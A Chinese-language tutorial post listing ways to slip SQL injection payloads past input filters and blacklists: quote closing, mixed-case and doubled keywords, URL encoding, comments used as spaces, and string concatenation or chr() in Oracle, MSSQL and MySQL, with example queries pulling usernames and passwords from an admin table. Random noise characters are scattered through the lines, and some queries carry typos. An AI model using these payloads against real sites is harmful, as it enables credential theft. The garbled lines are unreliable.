SQL注入。有攻有防。知道进攻。才懂得防守.
|) z: |% D/ P4 N3 e, |- x( ^8 W2 g9 A
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
- A2 i5 t0 l5 m# y% Q
; [+ J5 R3 w5 e* T7 N% k唱出会删除或者净化一些字符,或者阻止常用的sql关键词。9 Z8 Y3 O0 ~& m; g9 {# r5 u
2 F# u5 ~& x3 v7 S) w, _我们通常有以下几种技巧,去避开这些过滤。& Q0 W4 Y9 p4 a% U8 F, J0 g
+ k) y" [4 R9 ^% H
1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。: G% `% u7 ]& v
! J8 o+ w. w# h. z4 R1 ?9 LA,如果注入一个数字数据字段,就不需要使用单引号。
& \7 [* Z' g X' i- M' Y. g# t: Z- J' y8 L' \: n
B,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
0 x# W, O3 `& F. n* v' \; `1 q8 ^1 W6 h; ?/ W9 q1 v" {
比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
9 N) R; w/ U2 L2 T6 C9 e
4 g2 }1 K5 m. j目的其实很简单,就是把后面的单引号给闭合掉。
4 s7 w5 J3 a/ n6 L: O( J" {- |5 `+ E" K1 Z: n Y
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
/ \' x- ~$ u: |% d' _3 d. Y, N# c6 N9 [6 N/ A
只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。2 ]- \2 v" S0 p7 H1 v" @
" G7 g: ^2 P. w1 Q- s5 C- c# H2,避免使用简单确认9 @2 s; Y. q( ], h% Z/ Z
$ m v7 V3 s5 ?" y- H一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
+ x5 q$ z. A' J; s) k
4 K, O" V# w& o3 x: \% p; C0 }这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
4 u% ~* @7 h. y. |0 r
1 `& d v& o6 n$ N' hA,如果select关键词被阻止或删除5 ]8 ~+ R% K5 x. o- `7 P9 c5 n. K
% {* X) P8 d+ ?% y b% M我们可以输入:' t/ _: ~, s9 ~1 ^/ F
+ Y( A8 u6 H2 d# w7 bSeLeCt 注意大小写! |3 V" p! \1 f9 J
% ?0 H+ b, K1 Q: i+ q
selselectect 还记得ewebeditor是怎么过滤asp的么?
4 { ^8 }3 J6 V5 f, F2 E" p
7 o: c% X- M" b6 P%53%45%4c%45%43%54 URL编码( {4 p3 d* M |& z+ f. _" T
2 o" u/ Y" a6 }) l8 [& x4 T
%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25* r9 C$ v4 M6 L( Y, `8 c
* B: s; z { ]+ T3,使用SQL注释符
- s) }" {- ]0 Q1 }, [5 J
% @1 a4 c$ T9 u/ y# E7 G- CA,使用注释来冒充注入的数据中的空格。5 m! m0 m# V; a! C8 o& H8 ^$ V2 [
n1 r8 a( O5 V+ A( uselect/*yesu*/username,password/*yesu*/from/*yesu*/admin
, r3 v. n% R3 I4 ]2 {7 _9 c' d0 K" h) E9 T( A u% @3 v+ U4 A+ m& u
/*yesu*/来冒充空格! T$ U- j( j; P
, d& b% U1 ]1 [9 ^B,使用注释来避开某些注入的确认过滤。
# c, F4 V; T3 s) J
/ \4 T7 A% n9 v8 s* E4 d. p2 h( jSEL/*yesu*/ECT username,password fr/*yesu*/om admin
1 Y- q9 t9 e, s, F
' ?- k j+ O9 J* x; n6 J. A4,处理被阻止的字符串3 t$ F2 L" H+ Q" M s
: v0 U t0 R8 K$ \# V8 X3 Y
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。8 n/ B/ W. m' {
0 R9 @) D7 z+ n7 L
我们可以这样) }; l. r- W- \4 \6 d+ B
/ k( L8 Z+ K% B9 m: UA,oracle数据库: ‘adm’||’in’
& ?' ~. B+ q; f% h3 e% m A$ O- \$ Z- c0 l( `
B,MSSQL数据库: ‘adm’+’in’* ~4 I' h- D1 V* w4 x; B) U
! u7 `' w; @$ f, m- }1 w
C,MYSQL数据库: concat (‘adm’,’in’)
6 k: n4 H. @/ `7 H. D5 W6 @) a+ n- \5 E
D,oracle中如果单引号被阻止了,还可以用chr函数
) o3 ?' w+ |: z# s0 a; m7 e/ e" f8 k8 o* o$ E) E
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)9 v) ^9 d. G% f
, l" u- O; {9 Y4 a2 [
还有其他方法。正在收集中.) K2 G2 x1 w% M7 x0 a% u: F
* \; s: k8 x, z& g! m |